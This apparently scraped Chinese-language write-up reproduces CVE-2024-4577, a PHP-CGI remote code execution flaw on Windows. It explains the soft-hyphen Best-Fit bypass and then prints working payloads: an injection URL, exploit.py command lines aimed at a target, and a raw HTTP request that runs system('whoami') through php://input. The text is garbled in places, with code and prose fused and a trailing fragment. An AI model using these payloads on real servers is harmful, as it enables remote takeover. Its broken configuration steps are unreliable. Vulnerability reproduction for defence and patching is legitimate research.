
CVE复现:cve-2024-4577-phpcgi_rce_reproduction
CVE-2024-4577 是 Windows 上 PHP CGI 实现中的一个严重远程代码执行漏洞。它绕过了原始 CVE-2012-1823 的修复,利用了 Windows "最佳匹配"(Best-Fit)代码页转换功能,通过 CGI 查询字符串夹带命令行参数。
当 PHP 以 CGI 模块运行(php-cgi.exe)时,它会将查询字符串解析为命令行参数。原始 CVE-2012-1823 的修复阻止了 -(连字符,0x2D)字符以防止参数注入。然而,在使用某些代码页(例如中文、日文、韩文)的 Windows 系统上,"最佳匹配"字符映射功能会将特定的 Unicode 字符转换为其最接近的 ASCII 等效字符。
关键的绕过使用 软连字符(soft-hyphen)字符(0xAD / U+00AD)。当请求在查询字符串中传递 %AD 且服务器区域使用 "最佳匹配" 代码页时,Windows 内部会将 0xAD 转换为 0x2D(连字符),从而允许攻击者绕过过滤器注入 PHP 参数。
例如:%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input 变为 。
-d allow_url_include=1 -d auto_prepend_file=php://input配置要求:
php-cgi.exemod_cgi 或 mod_cgidScriptAlias /php-cgi/ "C:/php/"
Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://inputpython exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo
构造的 payload 通过查询字符串注入 PHP 配置指令:
GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded
<?php system("whoami"); ?>
php-cgi.exe 的请求